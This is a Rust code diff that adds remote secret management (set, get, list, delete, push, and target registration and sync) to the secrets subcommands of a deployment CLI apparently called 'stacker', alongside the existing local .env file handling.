+        let mut buffer = String::new();
+        io::stdin().read_to_string(&mut buffer)?;
+        if !buffer.is_empty() {
+            return Ok(buffer);
+        }
+    }
+
+    Err(CliError::ConfigValidation(
+        "Remote secrets set requires --body, --body-file, or stdin input".to_string(),
+    ))
+}
+
+fn remap_remote_secret_error(operation: &str, error: CliError) -> CliError {
+    match error {
+        CliError::DeployFailed { reason, .. } => CliError::FeatureFailed {
+            feature: operation.to_string(),
+            reason,
+        },
+        other => other,
+    }
+}
+
+/// Resolve a server ID from the deployment lock file when `--server-id` was not provided.
+///
+/// Reads `.stacker/deployment-cloud.lock` (or the generic lock), looks up the
+/// server by name via the API, and returns its platform ID.
+fn resolve_server_id_from_lock(ctx: &CliRuntime) -> Result<i32, CliError> {
+    let project_dir = std::env::current_dir().map_err(|e| {
+        CliError::ConfigValidation(format!("Cannot determine project directory: {}", e))
+    })?;
+
+    let lock = DeploymentLock::load_active(&project_dir)
+        .map_err(|e| CliError::ConfigValidation(format!("Failed to read deployment lock: {}", e)))?
+        .ok_or_else(|| {
+            CliError::ConfigValidation(
+                "No deployment lock found. Run `stacker deploy` first or provide --server-id."
+                    .to_string(),
+            )
+        })?;
+
+    let server_name = lock.server_name.ok_or_else(|| {
+        CliError::ConfigValidation(
+            "Deployment lock has no server name. Provide --server-id explicitly.".to_string(),
+        )
+    })?;
+
+    let server = ctx
+        .block_on(ctx.client.find_server_by_name(&server_name))?
+        .ok_or_else(|| {
+            CliError::ConfigValidation(format!(
+                "Server '{}' from deployment lock not found on the Stacker platform. \
+                 Provide --server-id explicitly.",
+                server_name
+            ))
+        })?;
+
+    Ok(server.id)
+}
+
+fn resolve_project(
+    ctx: &CliRuntime,
+    reference: &str,
+    operation: &str,
+) -> Result<ProjectInfo, CliError> {
+    ctx.block_on(ctx.client.find_project(reference))
+        .map_err(|error| remap_remote_secret_error(operation, error))?
+        .ok_or_else(|| CliError::ConfigValidation(format!("Project '{}' was not found", reference)))
+}
+
+#[cfg(test)]
+fn project_app_codes(project: &ProjectInfo) -> Vec<String> {
+    let mut codes: Vec<String> = Vec::new();
+    for group in ["web", "service", "feature"] {
+        if let Some(apps) = project
+            .metadata
+            .get("custom")
+            .and_then(|custom| custom.get(group))
+            .and_then(|web| web.as_array())
+        {
+            codes.extend(
+                apps.iter()
+                    .filter_map(|app| app.get("code").and_then(|code| code.as_str()))
+                    .map(|code| code.to_string()),
+            );
+        }
+    }
+
+    codes.sort();
+    codes.dedup();
+    codes
+}
+
+fn resolve_remote_service_code(
+    ctx: &CliRuntime,
+    project: &ProjectInfo,
+    requested: &str,
+    operation: &str,
+) -> Result<String, CliError> {
+    let apps = ctx
+        .block_on(ctx.client.list_project_apps(project.id))
+        .map_err(|error| remap_remote_secret_error(operation, error))?;
+
+    resolve_remote_service_code_from_apps(&project.name, &apps, requested)
+}
+
+fn resolve_remote_service_code_from_apps(
+    project_name: &str,
+    apps: &[ProjectAppInfo],
+    requested: &str,
+) -> Result<String, CliError> {
+    let mut available_codes = apps
+        .iter()
+        .map(|app| app.code.clone())
+        .collect::<Vec<String>>();
+    available_codes.sort();
+    available_codes.dedup();
+
+    if available_codes.is_empty() {
+        return Err(CliError::ConfigValidation(format!(
+            "No remote secret targets are registered for project '{}'. Run `stacker deploy --target <target>` to sync project/service registration, then run `stacker secrets apps` to list valid targets.",
+            project_name
+        )));
+    }
+
+    let requested_lower = requested.to_lowercase();
+    if let Some(code) = available_codes
+        .iter()
+        .find(|code| code.to_lowercase() == requested_lower)
+    {
+        return Ok(code.clone());
+    }
+
+    Err(CliError::ConfigValidation(format!(
+        "Unknown remote secret target '{}' for project '{}'. Available targets: {}. Run `stacker deploy --target <target>` to sync project/service registration, then run `stacker secrets apps`.",
+        requested,
+        project_name,
+        available_codes.join(", ")
+    )))
+}
+
+fn available_project_app_codes(apps: &[ProjectAppInfo]) -> Vec<String> {
+    let mut available_codes = apps
+        .iter()
+        .map(|app| app.code.clone())
+        .collect::<Vec<String>>();
+    available_codes.sort();
+    available_codes.dedup();
+    available_codes
+}
+
+fn local_service_names(config: &StackerConfig) -> Vec<String> {
+    let mut names = config
+        .services
+        .iter()
+        .map(|service| service.name.clone())
+        .collect::<Vec<String>>();
+    names.sort();
+    names.dedup();
+    names
+}
+
+fn find_local_service<'a>(
+    config: &'a StackerConfig,
+    requested: &str,
+) -> Option<&'a ServiceDefinition> {
+    let requested_lower = requested.to_lowercase();
+    config
+        .services
+        .iter()
+        .find(|service| service.name.to_lowercase() == requested_lower)
+}
+
+fn service_registration_request(
+    service: &ServiceDefinition,
+    deployment_hash: Option<String>,
+) -> ProjectAppRegistrationRequest {
+    let env = if service.environment.is_empty() {
+        None
+    } else {
+        Some(serde_json::json!(service.environment))
+    };
+    let ports = if service.ports.is_empty() {
+        None
+    } else {
+        Some(serde_json::json!(service.ports))
+    };
+    let volumes = if service.volumes.is_empty() {
+        None
+    } else {
+        Some(serde_json::json!(service.volumes))
+    };
+    let depends_on = if service.depends_on.is_empty() {
+        None
+    } else {
+        Some(serde_json::json!(service.depends_on))
+    };
+
+    ProjectAppRegistrationRequest {
+        code: service.name.clone(),
+        name: Some(service.name.clone()),
+        image: service.image.clone(),
+        env,
+        ports,
+        volumes,
+        depends_on,
+        enabled: Some(true),
+        deploy_order: None,
+        deployment_hash,
+    }
+}
+
+fn active_deployment_hash(ctx: &CliRuntime, project: &ProjectInfo) -> Option<String> {
+    ctx.block_on(ctx.client.agent_snapshot_by_project(project.id))
+        .ok()
+        .map(|(_, hash)| hash)
+}
+
+fn register_service_target(
+    ctx: &CliRuntime,
+    project: &ProjectInfo,
+    service: &ServiceDefinition,
+    operation: &str,
+) -> Result<ProjectAppInfo, CliError> {
+    let deployment_hash = active_deployment_hash(ctx, project);
+    let request = service_registration_request(service, deployment_hash);
+    ctx.block_on(ctx.client.upsert_project_app(project.id, &request))
+        .map_err(|error| remap_remote_secret_error(operation, error))
+}
+
+fn register_local_service_target(
+    ctx: &CliRuntime,
+    project: &ProjectInfo,
+    requested: &str,
+    operation: &str,
+    remote_apps: &[ProjectAppInfo],
+) -> Result<ProjectAppInfo, CliError> {
+    let config_path = Path::new(DEFAULT_CONFIG_FILE);
+    let config = StackerConfig::from_file(config_path)?;
+    let Some(service) = find_local_service(&config, requested) else {
+        let local = local_service_names(&config);
+        let remote = available_project_app_codes(remote_apps);
+        return Err(CliError::ConfigValidation(format!(
+            "Unknown service target '{}'. Local services in stacker.yml: {}. Remote targets: {}.",
+            requested,
+            if local.is_empty() {
+                "(none)".to_string()
+            } else {
+                local.join(", ")
+            },
+            if remote.is_empty() {
+                "(none)".to_string()
+            } else {
+                remote.join(", ")
+            }
+        )));
+    };
+
+    register_service_target(ctx, project, service, operation)
+}
+
+fn resolve_or_register_remote_service_code(
+    ctx: &CliRuntime,
+    project: &ProjectInfo,
+    requested: &str,
+    operation: &str,
+) -> Result<String, CliError> {
+    let apps = ctx
+        .block_on(ctx.client.list_project_apps(project.id))
+        .map_err(|error| remap_remote_secret_error(operation, error))?;
+
+    match resolve_remote_service_code_from_apps(&project.name, &apps, requested) {
+        Ok(code) => Ok(code),
+        Err(_) => {
+            let app = register_local_service_target(ctx, project, requested, operation, &apps)?;
+            eprintln!(
+                "✓ Registered remote secret target '{}' for project {}",
+                app.code, project.id
+            );
+            Ok(app.code)
+        }
+    }
+}
+
+fn print_remote_secret(secret: &RemoteSecretMetadataInfo, json: bool) -> Result<(), CliError> {
+    if json {
+        let rendered = serde_json::to_string_pretty(secret)
+            .map_err(|error| CliError::ConfigValidation(error.to_string()))?;
+        println!("{rendered}");
+    } else {
+        println!("Name: {}", secret.name);
+        println!("Scope: {}", secret.scope);
+        if let Some(project_id) = secret.project_id {
+            println!("Project ID: {}", project_id);
+        }
+        if let Some(app_code) = &secret.app_code {
+            println!("Target: {}", app_code);
+        }
+        if let Some(server_id) = secret.server_id {
+            println!("Server ID: {}", server_id);
+        }
+        println!("Updated At: {}", secret.updated_at);
+        println!("Updated By: {}", secret.updated_by);
+        println!("Source: {}", secret.source);
+        println!("Value: [REDACTED]");
+    }
+
+    Ok(())
+}
+
+fn print_remote_secret_list(
+    secrets: &[RemoteSecretMetadataInfo],
+    json: bool,
+) -> Result<(), CliError> {
+    if json {
+        let rendered = serde_json::to_string_pretty(secrets)
+            .map_err(|error| CliError::ConfigValidation(error.to_string()))?;
+        println!("{rendered}");
+        return Ok(());
+    }
+
+    if secrets.is_empty() {
+        println!("(no remote secrets set)");
+        return Ok(());
+    }
+
+    println!(
+        "{:<32} {:<10} {:<20} {:<26}",
+        "NAME", "SCOPE", "TARGET", "UPDATED"
+    );
+    println!("{}", "─".repeat(92));
+    for secret in secrets {
+        let target = if let Some(app_code) = &secret.app_code {
+            app_code.to_string()
+        } else if let Some(server_id) = secret.server_id {
+            format!("server:{server_id}")
+        } else {
+            "-".to_string()
+        };
+        println!(
+            "{:<32} {:<10} {:<20} {:<26}",
+            secret.name, secret.scope, target, secret.updated_at
+        );
+    }
+
+    Ok(())
+}
+
+fn print_project_app_list(apps: &[ProjectAppInfo], json: bool) -> Result<(), CliError> {
+    if json {
+        let rendered = serde_json::to_string_pretty(apps)
+            .map_err(|error| CliError::ConfigValidation(error.to_string()))?;
+        println!("{rendered}");
+        return Ok(());
+    }
+
+    if apps.is_empty() {
+        println!("(no remote secret targets found)");
+        return Ok(());
+    }
+
+    println!(
+        "{:<24} {:<24} {:<8} {:<12} {}",
+        "TARGET", "NAME", "ENABLED", "PARENT", "IMAGE"
+    );
+    println!("{}", "─".repeat(96));
+    for app in apps {
+        println!(
+            "{:<24} {:<24} {:<8} {:<12} {}",
+            app.code,
+            app.name,
+            if app.enabled { "yes" } else { "no" },
+            app.parent_app_code.as_deref().unwrap_or("-"),
+            app.image
+        );
+    }
+
+    Ok(())
+}
+
 // ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
 // secrets set
 // ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
 
 /// `stacker secrets set KEY=VALUE [--file .env]`
 pub struct SecretsSetCommand {
-    pub key_value: String,
-    pub file: Option<String>,
+    mode: SecretsSetMode,
+}
+
+#[derive(Debug)]
+enum SecretsSetMode {
+    Local {
+        key_value: String,
+        file: Option<String>,
+    },
+    Remote(RemoteSecretWriteOptions),
 }
 
 impl SecretsSetCommand {
     pub fn new(key_value: String, file: Option<String>) -> Self {
-        Self { key_value, file }
+        Self {
+            mode: SecretsSetMode::Local { key_value, file },
+        }
     }
-}
 
-impl CallableTrait for SecretsSetCommand {
-    fn call(&self) -> Result<(), Box<dyn std::error::Error>> {
-        // Parse "KEY=VALUE"
-        let pos = self.key_value.find('=').ok_or_else(|| {
+    pub fn new_remote(
+        name: String,
+        scope: RemoteSecretScope,
+        project: Option<String>,
+        service: Option<String>,
+        server_id: Option<i32>,
+        body: Option<String>,
+        body_file: Option<String>,
+    ) -> Self {
+        Self {
+            mode: SecretsSetMode::Remote(RemoteSecretWriteOptions {
+                name,
+                target: RemoteSecretTarget::new(scope, project, service, server_id),
+                body,
+                body_file,
+            }),
+        }
+    }
+
+    fn call_local(key_value: &str, file: Option<&str>) -> Result<(), Box<dyn std::error::Error>> {
+        let pos = key_value.find('=').ok_or_else(|| {
             CliError::ConfigValidation(
                 "Expected KEY=VALUE format (e.g. DB_PASS=secret)".to_string(),
             )
         })?;
-        let key = self.key_value[..pos].trim().to_string();
-        let value = self.key_value[pos + 1..].to_string();
+        let key = key_value[..pos].trim().to_string();
+        let value = key_value[pos + 1..].to_string();
 
-        let valid_key = regex::Regex::new(r"^[A-Za-z_][A-Za-z0-9_]*$").unwrap();
-        if !valid_key.is_match(&key) {
-            return Err(Box::new(CliError::ConfigValidation(
-                format!("Invalid key '{}': must match [A-Za-z_][A-Za-z0-9_]*", key),
-            )));
-        }
+        validate_secret_name(&key)?;
 
-        let env_path = resolve_env_path(self.file.as_deref())?;
+        let env_path = resolve_env_path(file)?;
         let mut lines = read_env_lines(&env_path)?;
 
         let new_line = format!("{key}={value}");
@@ -162,6 +770,69 @@ impl CallableTrait for SecretsSetCommand {
         println!("✓ Set {key} in {}", env_path.display());
         Ok(())
     }
+
+    fn call_remote(options: &RemoteSecretWriteOptions) -> Result<(), Box<dyn std::error::Error>> {
+        options.validate()?;
+        let value = resolve_remote_secret_value(options)?;
+        let operation = "remote secrets set";
+        let ctx = CliRuntime::new("remote secrets set")?;
+        let server_id_from_lock = || resolve_server_id_from_lock(&ctx);
+
+        match options.target.scope {
+            RemoteSecretScope::Service => {
+                let project_ref = resolve_service_project_reference(options.target.project_ref())?;
+                let project = resolve_project(&ctx, &project_ref, operation)?;
+                let app_code = options.target.service_code().ok_or_else(|| {
+                    CliError::ConfigValidation(
+                        "Service-scoped secrets require --service".to_string(),
+                    )
+                })?;
+                let app_code =
+                    resolve_or_register_remote_service_code(&ctx, &project, app_code, operation)?;
+                let secret = ctx
+                    .block_on(ctx.client.set_service_secret(
+                        project.id,
+                        &app_code,
+                        &options.name,
+                        &value,
+                    ))
+                    .map_err(|error| remap_remote_secret_error(operation, error))?;
+                println!(
+                    "✓ Saved {} secret {} for project {} service {}",
+                    secret.scope, secret.name, project.id, app_code
+                );
+            }
+            RemoteSecretScope::Server => {
+                let server_id = options
+                    .target
+                    .server_id()
+                    .map_or_else(server_id_from_lock, Ok)?;
+                let secret = ctx
+                    .block_on(
+                        ctx.client
+                            .set_server_secret(server_id, &options.name, &value),
+                    )
+                    .map_err(|error| remap_remote_secret_error(operation, error))?;
+                println!(
+                    "✓ Saved {} secret {} for server {}",
+                    secret.scope, secret.name, server_id
+                );
+            }
+        }
+
+        Ok(())
+    }
+}
+
+impl CallableTrait for SecretsSetCommand {
+    fn call(&self) -> Result<(), Box<dyn std::error::Error>> {
+        match &self.mode {
+            SecretsSetMode::Local { key_value, file } => {
+                Self::call_local(key_value, file.as_deref())
+            }
+            SecretsSetMode::Remote(options) => Self::call_remote(options),
+        }
+    }
 }
 
 // ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
@@ -170,44 +841,114 @@ impl CallableTrait for SecretsSetCommand {
 
 /// `stacker secrets get KEY [--file .env] [--show]`
 pub struct SecretsGetCommand {
-    pub key: String,
-    pub file: Option<String>,
-    pub show: bool,
+    mode: SecretsGetMode,
+}
+
+#[derive(Debug)]
+enum SecretsGetMode {
+    Local {
+        key: String,
+        file: Option<String>,
+        show: bool,
+    },
+    Remote(RemoteSecretReadOptions),
 }
 
 impl SecretsGetCommand {
     pub fn new(key: String, file: Option<String>, show: bool) -> Self {
-        Self { key, file, show }
+        Self {
+            mode: SecretsGetMode::Local { key, file, show },
+        }
+    }
+
+    pub fn new_remote(
+        name: String,
+        scope: RemoteSecretScope,
+        project: Option<String>,
+        service: Option<String>,
+        server_id: Option<i32>,
+        json: bool,
+    ) -> Self {
+        Self {
+            mode: SecretsGetMode::Remote(RemoteSecretReadOptions {
+                name,
+                target: RemoteSecretTarget::new(scope, project, service, server_id),
+                json,
+            }),
+        }
     }
 }
 
 impl CallableTrait for SecretsGetCommand {
     fn call(&self) -> Result<(), Box<dyn std::error::Error>> {
-        let env_path = resolve_env_path(self.file.as_deref())?;
+        match &self.mode {
+            SecretsGetMode::Local { key, file, show } => {
+                let env_path = resolve_env_path(file.as_deref())?;
 
-        if !env_path.exists() {
-            return Err(Box::new(CliError::EnvFileNotFound {
-                path: env_path,
-            }));
-        }
+                if !env_path.exists() {
+                    return Err(Box::new(CliError::EnvFileNotFound { path: env_path }));
+                }
 
-        let lines = read_env_lines(&env_path)?;
-        for line in &lines {
-            if let Some((k, v)) = parse_env_line(line) {
-                if k == self.key {
-                    if self.show {
-                        println!("{k}={v}");
-                    } else {
-                        println!("{k}=***");
+                let lines = read_env_lines(&env_path)?;
+                for line in &lines {
+                    if let Some((k, v)) = parse_env_line(line) {
+                        if k == *key {
+                            if *show {
+                                println!("{k}={v}");
+                            } else {
+                                println!("{k}=***");
+                            }
+                            return Ok(());
+                        }
                     }
-                    return Ok(());
                 }
+
+                Err(Box::new(CliError::SecretKeyNotFound { key: key.clone() }))
             }
-        }
+            SecretsGetMode::Remote(options) => {
+                options.validate()?;
+                let operation = "remote secrets get";
+                let ctx = CliRuntime::new("remote secrets get")?;
+                let server_id_from_lock = || resolve_server_id_from_lock(&ctx);
+                let secret = match options.target.scope {
+                    RemoteSecretScope::Service => {
+                        let project_ref =
+                            resolve_service_project_reference(options.target.project_ref())?;
+                        let project = resolve_project(&ctx, &project_ref, operation)?;
+                        let app_code = options.target.service_code().ok_or_else(|| {
+                            CliError::ConfigValidation(
+                                "Service-scoped secrets require --service".to_string(),
+                            )
+                        })?;
+                        let app_code =
+                            resolve_remote_service_code(&ctx, &project, app_code, operation)?;
+                        ctx.block_on(ctx.client.get_service_secret_metadata(
+                            project.id,
+                            &app_code,
+                            &options.name,
+                        ))
+                        .map_err(|error| remap_remote_secret_error(operation, error))?
+                    }
+                    RemoteSecretScope::Server => {
+                        let server_id = options
+                            .target
+                            .server_id()
+                            .map_or_else(server_id_from_lock, Ok)?;
+                        ctx.block_on(
+                            ctx.client
+                                .get_server_secret_metadata(server_id, &options.name),
+                        )
+                        .map_err(|error| remap_remote_secret_error(operation, error))?
+                    }
+                }
+                .ok_or_else(|| CliError::SecretKeyNotFound {
+                    key: options.name.clone(),
+                })?;
 
-        Err(Box::new(CliError::SecretKeyNotFound {
-            key: self.key.clone(),
-        }))
+                print_remote_secret(&secret, options.json)?;
+                Ok(())
+            }
+        }
     }
 }
 
@@ -217,50 +958,213 @@ impl CallableTrait for SecretsGetCommand {
 
 /// `stacker secrets list [--file .env] [--show]`
 pub struct SecretsListCommand {
-    pub file: Option<String>,
-    pub show: bool,
+    mode: SecretsListMode,
+}
+
+#[derive(Debug)]
+enum SecretsListMode {
+    Local { file: Option<String>, show: bool },
+    Remote(RemoteSecretListOptions),
 }
 
 impl SecretsListCommand {
     pub fn new(file: Option<String>, show: bool) -> Self {
-        Self { file, show }
+        Self {
+            mode: SecretsListMode::Local { file, show },
+        }
+    }
+
+    pub fn new_remote(
+        scope: RemoteSecretScope,
+        project: Option<String>,
+        service: Option<String>,
+        server_id: Option<i32>,
+        json: bool,
+    ) -> Self {
+        Self {
+            mode: SecretsListMode::Remote(RemoteSecretListOptions {
+                target: RemoteSecretTarget::new(scope, project, service, server_id),
+                json,
+            }),
+        }
     }
 }
 
 impl CallableTrait for SecretsListCommand {
     fn call(&self) -> Result<(), Box<dyn std::error::Error>> {
-        let env_path = resolve_env_path(self.file.as_deref())?;
+        match &self.mode {
+            SecretsListMode::Local { file, show } => {
+                let env_path = resolve_env_path(file.as_deref())?;
+
+                if !env_path.exists() {
+                    eprintln!(
+                        "No env file found at {}. Use `stacker secrets set KEY=VALUE` to create one.",
+                        env_path.display()
+                    );
+                    return Ok(());
+                }
 
-        if !env_path.exists() {
-            eprintln!(
-                "No env file found at {}. Use `stacker secrets set KEY=VALUE` to create one.",
-                env_path.display()
+                let lines = read_env_lines(&env_path)?;
+                let mut count = 0;
+
+                println!("Secrets in {}:", env_path.display());
+                for line in &lines {
+                    if let Some((k, v)) = parse_env_line(line) {
+                        if *show {
+                            println!("  {k}={v}");
+                        } else {
+                            println!("  {k}=***");
+                        }
+                        count += 1;
+                    }
+                }
+
+                if count == 0 {
+                    println!("  (no secrets set)");
+                } else if !show {
+                    println!();
+                    println!("Tip: use --show to reveal values");
+                }
+
+                Ok(())
+            }
+            SecretsListMode::Remote(options) => {
+                options.validate()?;
+                let operation = "remote secrets list";
+                let ctx = CliRuntime::new("remote secrets list")?;
+                let server_id_from_lock = || resolve_server_id_from_lock(&ctx);
+                let secrets = match options.target.scope {
+                    RemoteSecretScope::Service => {
+                        let project_ref =
+                            resolve_service_project_reference(options.target.project_ref())?;
+                        let project = resolve_project(&ctx, &project_ref, operation)?;
+                        let app_code = options.target.service_code().ok_or_else(|| {
+                            CliError::ConfigValidation(
+                                "Service-scoped secrets require --service".to_string(),
+                            )
+                        })?;
+                        let app_code =
+                            resolve_remote_service_code(&ctx, &project, app_code, operation)?;
+                        ctx.block_on(ctx.client.list_service_secrets(project.id, &app_code))
+                            .map_err(|error| remap_remote_secret_error(operation, error))?
+                    }
+                    RemoteSecretScope::Server => {
+                        let server_id = options
+                            .target
+                            .server_id()
+                            .map_or_else(server_id_from_lock, Ok)?;
+                        ctx.block_on(ctx.client.list_server_secrets(server_id))
+                            .map_err(|error| remap_remote_secret_error(operation, error))?
+                    }
+                };
+
+                print_remote_secret_list(&secrets, options.json)?;
+                Ok(())
+            }
+        }
+    }
+}
+
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+// secrets apps
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+
+pub struct SecretsAppsCommand {
+    action: SecretsAppsAction,
+    project: Option<String>,
+    json: bool,
+}
+
+enum SecretsAppsAction {
+    List,
+    Register { service: String },
+    Sync,
+}
+
+impl SecretsAppsCommand {
+    pub fn new(project: Option<String>, json: bool) -> Self {
+        Self {
+            action: SecretsAppsAction::List,
+            project,
+            json,
+        }
+    }
+
+    pub fn register(service: String, project: Option<String>, json: bool) -> Self {
+        Self {
+            action: SecretsAppsAction::Register { service },
+            project,
+            json,
+        }
+    }
+
+    pub fn sync(project: Option<String>, json: bool) -> Self {
+        Self {
+            action: SecretsAppsAction::Sync,
+            project,
+            json,
+        }
+    }
+
+    fn print_registered_app(&self, app: &ProjectAppInfo) -> Result<(), CliError> {
+        if self.json {
+            let json = serde_json::to_string_pretty(app)
+                .map_err(|e| CliError::ConfigValidation(e.to_string()))?;
+            println!("{}", json);
+        } else {
+            println!(
+                "✓ Registered remote secret target {} (image: {})",
+                app.code, app.image
             );
-            return Ok(());
         }
+        Ok(())
+    }
+}
 
-        let lines = read_env_lines(&env_path)?;
-        let mut count = 0;
+impl CallableTrait for SecretsAppsCommand {
+    fn call(&self) -> Result<(), Box<dyn std::error::Error>> {
+        let operation = "remote project apps";
+        let ctx = CliRuntime::new(operation)?;
+        let project_ref = resolve_service_project_reference(self.project.as_deref())?;
+        let project = resolve_project(&ctx, &project_ref, operation)?;
+
+        match &self.action {
+            SecretsAppsAction::List => {
+                let apps = ctx
+                    .block_on(ctx.client.list_project_apps(project.id))
+                    .map_err(|error| remap_remote_secret_error(operation, error))?;
+                print_project_app_list(&apps, self.json)?;
+            }
+            SecretsAppsAction::Register { service } => {
+                let apps = ctx
+                    .block_on(ctx.client.list_project_apps(project.id))
+                    .map_err(|error| remap_remote_secret_error(operation, error))?;
+                let app = register_local_service_target(&ctx, &project, service, operation, &apps)?;
+                self.print_registered_app(&app)?;
+            }
+            SecretsAppsAction::Sync => {
+                let config = StackerConfig::from_file(Path::new(DEFAULT_CONFIG_FILE))?;
+                let mut registered = Vec::new();
+                for service in &config.services {
+                    registered.push(register_service_target(&ctx, &project, service, operation)?);
+                }
 
-        println!("Secrets in {}:", env_path.display());
-        for line in &lines {
-            if let Some((k, v)) = parse_env_line(line) {
-                if self.show {
-                    println!("  {k}={v}");
+                if self.json {
+                    let json = serde_json::to_string_pretty(&registered)
+                        .map_err(|e| CliError::ConfigValidation(e.to_string()))?;
+                    println!("{}", json);
                 } else {
-                    println!("  {k}=***");
+                    println!(
+                        "✓ Synced {} remote secret target(s) for project {}",
+                        registered.len(),
+                        project.id
+                    );
+                    for app in registered {
+                        println!("- {} ({})", app.code, app.image);
+                    }
                 }
-                count += 1;
             }
         }
-
-        if count == 0 {
-            println!("  (no secrets set)");
-        } else if !self.show {
-            println!();
-            println!("Tip: use --show to reveal values");
-        }
-
         Ok(())
     }
 }
@@ -271,51 +1175,189 @@ impl CallableTrait for SecretsListCommand {
 
 /// `stacker secrets delete KEY [--file .env]`
 pub struct SecretsDeleteCommand {
-    pub key: String,
-    pub file: Option<String>,
+    mode: SecretsDeleteMode,
+}
+
+#[derive(Debug)]
+enum SecretsDeleteMode {
+    Local {
+        key: String,
+        file: Option<String>,
+    },
+    Remote {
+        key: String,
+        target: RemoteSecretTarget,
+    },
 }
 
 impl SecretsDeleteCommand {
     pub fn new(key: String, file: Option<String>) -> Self {
-        Self { key, file }
+        Self {
+            mode: SecretsDeleteMode::Local { key, file },
+        }
+    }
+
+    pub fn new_remote(
+        key: String,
+        scope: RemoteSecretScope,
+        project: Option<String>,
+        service: Option<String>,
+        server_id: Option<i32>,
+    ) -> Self {
+        Self {
+            mode: SecretsDeleteMode::Remote {
+                key,
+                target: RemoteSecretTarget::new(scope, project, service, server_id),
+            },
+        }
     }
 }
 
-impl CallableTrait for SecretsDeleteCommand {
-    fn call(&self) -> Result<(), Box<dyn std::error::Error>> {
-        let env_path = resolve_env_path(self.file.as_deref())?;
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+// secrets push
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
 
-        if !env_path.exists() {
-            return Err(Box::new(CliError::EnvFileNotFound {
-                path: env_path,
-            }));
+/// `stacker secrets push --service <target> [--force] [--deployment <hash>]`
+pub struct SecretsPushCommand {
+    options: RemoteSecretPushOptions,
+}
+
+impl SecretsPushCommand {
+    pub fn new(
+        project: Option<String>,
+        service: String,
+        force: bool,
+        json: bool,
+        deployment: Option<String>,
+        environment: Option<String>,
+    ) -> Self {
+        Self {
+            options: RemoteSecretPushOptions {
+                target: RemoteSecretTarget::new(
+                    RemoteSecretScope::Service,
+                    project,
+                    Some(service),
+                    None,
+                ),
+                force,
+                json,
+                deployment,
+                environment,
+            },
         }
+    }
+}
 
-        let lines = read_env_lines(&env_path)?;
-        let before_len = lines.len();
-        let filtered: Vec<String> = lines
-            .into_iter()
-            .filter(|line| {
-                if let Some((k, _)) = parse_env_line(line) {
-                    k != self.key
-                } else {
-                    true // preserve comments / blank lines
-                }
-            })
-            .collect();
+impl CallableTrait for SecretsPushCommand {
+    fn call(&self) -> Result<(), Box<dyn std::error::Error>> {
+        self.options.validate()?;
+        let operation = "remote secrets push";
+        let ctx = CliRuntime::new(operation)?;
+        let project_ref = resolve_service_project_reference(self.options.target.project_ref())?;
+        let project = resolve_project(&ctx, &project_ref, operation)?;
+        let requested = self.options.target.service_code().ok_or_else(|| {
+            CliError::ConfigValidation("Service-scoped secrets require --service".to_string())
+        })?;
+        let app_code = resolve_remote_service_code(&ctx, &project, requested, operation)?;
+        let deployment = match &self.options.deployment {
+            Some(deployment) if !deployment.trim().is_empty() => Some(deployment.clone()),
+            _ => {
+                let (_, hash) = ctx
+                    .block_on(ctx.client.agent_snapshot_by_project(project.id))
+                    .map_err(|error| remap_remote_secret_error(operation, error))?;
+                Some(hash)
+            }
+        };
 
-        if filtered.len() == before_len {
-            return Err(Box::new(CliError::SecretKeyNotFound {
-                key: self.key.clone(),
-            }));
+        AgentDeployAppCommand::new(
+            app_code.clone(),
+            None,
+            self.options.force,
+            "runc".to_string(),
+            self.options.json,
+            deployment,
+            self.options.environment.clone(),
+        )
+        .call()?;
+
+        if !self.options.json {
+            println!(
+                "✓ Pushed stored remote secrets to runtime env for {}",
+                app_code
+            );
         }
 
-        write_env_lines(&env_path, &filtered)?;
-        println!("✓ Deleted {} from {}", self.key, env_path.display());
         Ok(())
     }
 }
 
+impl CallableTrait for SecretsDeleteCommand {
+    fn call(&self) -> Result<(), Box<dyn std::error::Error>> {
+        match &self.mode {
+            SecretsDeleteMode::Local { key, file } => {
+                let env_path = resolve_env_path(file.as_deref())?;
+
+                if !env_path.exists() {
+                    return Err(Box::new(CliError::EnvFileNotFound { path: env_path }));
+                }
+
+                let lines = read_env_lines(&env_path)?;
+                let before_len = lines.len();
+                let filtered: Vec<String> = lines
+                    .into_iter()
+                    .filter(|line| {
+                        if let Some((k, _)) = parse_env_line(line) {
+                            k != *key
+                        } else {
+                            true
+                        }
+                    })
+                    .collect();
+
+                if filtered.len() == before_len {
+                    return Err(Box::new(CliError::SecretKeyNotFound { key: key.clone() }));
+                }
+
+                write_env_lines(&env_path, &filtered)?;
+                println!("✓ Deleted {} from {}", key, env_path.display());
+                Ok(())
+            }
+            SecretsDeleteMode::Remote { key, target } => {
+                validate_secret_name(key)?;
+                target.validate()?;
+                let operation = "remote secrets delete";
+                let ctx = CliRuntime::new("remote secrets delete")?;
+                let server_id_from_lock = || resolve_server_id_from_lock(&ctx);
+
+                match target.scope {
+                    RemoteSecretScope::Service => {
+                        let project_ref = resolve_service_project_reference(target.project_ref())?;
+                        let project = resolve_project(&ctx, &project_ref, operation)?;
+                        let app_code = target.service_code().ok_or_else(|| {
+                            CliError::ConfigValidation(
+                                "Service-scoped secrets require --service".to_string(),
+                            )
+                        })?;
+                        let app_code =
+                            resolve_remote_service_code(&ctx, &project, app_code, operation)?;
+                        ctx.block_on(ctx.client.delete_service_secret(project.id, &app_code, key))
+                            .map_err(|error| remap_remote_secret_error(operation, error))?;
+                        println!("✓ Deleted service secret {} from {}", key, app_code);
+                    }
+                    RemoteSecretScope::Server => {
+                        let server_id = target.server_id().map_or_else(server_id_from_lock, Ok)?;
+                        ctx.block_on(ctx.client.delete_server_secret(server_id, key))
+                            .map_err(|error| remap_remote_secret_error(operation, error))?;
+                        println!("✓ Deleted server secret {} from server {}", key, server_id);
+                    }
+                }
+
+                Ok(())
+            }
+        }
+    }
+}
+
 // ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
 // secrets validate
